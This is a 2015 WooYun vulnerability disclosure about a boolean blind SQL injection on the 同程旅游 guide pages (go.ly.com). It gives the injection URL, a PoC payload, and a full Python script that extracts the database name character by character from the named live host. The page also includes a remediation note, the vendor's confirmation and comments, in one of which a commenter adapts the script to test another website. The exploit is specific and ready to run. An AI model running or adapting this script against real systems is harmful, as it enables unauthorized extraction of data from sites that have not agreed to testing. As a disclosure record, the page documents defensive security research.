当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089660

漏洞标题:同程旅游网攻略频道页SQL盲注附加POC

相关厂商:苏州同程旅游网络科技有限公司

漏洞作者: Yns0ng

提交时间:2015-01-02 09:38

修复时间:2015-02-16 09:40

公开时间:2015-02-16 09:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-02: 细节已通知厂商并且等待厂商处理中
2015-01-02: 厂商已经确认,细节仅向厂商公开
2015-01-12: 细节向核心白帽子及相关领域专家公开
2015-01-22: 细节向普通白帽子公开
2015-02-01: 细节向实习白帽子公开
2015-02-16: 细节向公众公开

简要描述:

Boolean盲注,附验证脚本,仅供验证漏洞用。

详细说明:

漏洞证明:

1,注入点
http://go.ly.com/gonglve/jing-liuheyeshi-24645/ 24645为注入参数
2,PoC
http://go.ly.com/gonglve/jing-liuheyeshi-24645'%20and%20len(db_name())=7%20and%20'1'='1/
页面正常,表明当前操作db的长度为7个字符。当将7改成其它值时,页面301跳转。
3,Exp
知道了db长度,又知道了Boolean为false时,页面301。可以编写一简单脚本,猜出库名。同理,也可猜出其它系统信息,如:连接db的用户名等。

tc-sqli-01.jpg


4,验证脚本

#encoding=utf-8
import httplib
import time
import sys
import urllib
"""
This is the block of docstring.
"""
charset = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.[]')
headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
}
print '[%s] Start to retrive database: ' % time.strftime('%H:%M:%S', time.localtime())
db = ''
for i in range(1, 8):
for char in charset:
con = httplib.HTTPConnection('go.ly.com', 80, timeout=20)
payload = "' and ascii(substring(db_name(),%s,1))=%s and '1'='1" % (i, ord(char))
con.request(method='GET', url='/gonglve/jing-liuheyeshi-24645' + payload + '/', headers=headers)

code = con.getresponse().status
con.close()

if code == 200:
db += char
sys.stdout.write('\n[Retriving database] ' + db)
sys.stdout.flush()
break
else:
pass
print '\n[%s Done] Database is %s' % (time.strftime('%H:%M:%S', time.localtime()), db)


修复方案:

1,以参数绑定方式执行SQL;
2,在入口处加上防护组件,检测外部参数;
3,上防护设备。

版权声明:转载请注明来源 Yns0ng@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-02 13:39

厂商回复:

感谢关注同程旅游,这个和上一个其实是一个codebase,迁过来的。
这个给不了礼品卡,给你补点rank吧。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-03 22:37 | 昭之 ( 路人 | Rank:6 漏洞数:3 | 大神,求罩。)

    这厂商好啊

  2. 2015-03-09 12:07 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    希望洞主把自己的脚本补充到sqlmap里边,它将会更加强大。然后……

  3. 2015-05-08 08:36 | harbour_bin ( 普通白帽子 | Rank:358 漏洞数:47 | 向TOP200进军!)

    你好,学习你的代码后,我尝试自己写代码测试某一网站,发现我的那个必须写成payload = "%27%20and%20%271%27=%271"(初始为payload="' and '1'='1");我感觉是编码问题,希望你能给我一些指导,谢谢

  4. 2015-05-10 23:16 | Yns0ng ( 普通白帽子 | Rank:104 漏洞数:12 | 闭关修炼中)

    @harbour_bin 是编码问题,需要对payload进行urlencode,可以使用urllib模块的quote方法进行encode。

  5. 2015-05-15 18:13 | harbour_bin ( 普通白帽子 | Rank:358 漏洞数:47 | 向TOP200进军!)

    @Yns0ng 已解决,谢谢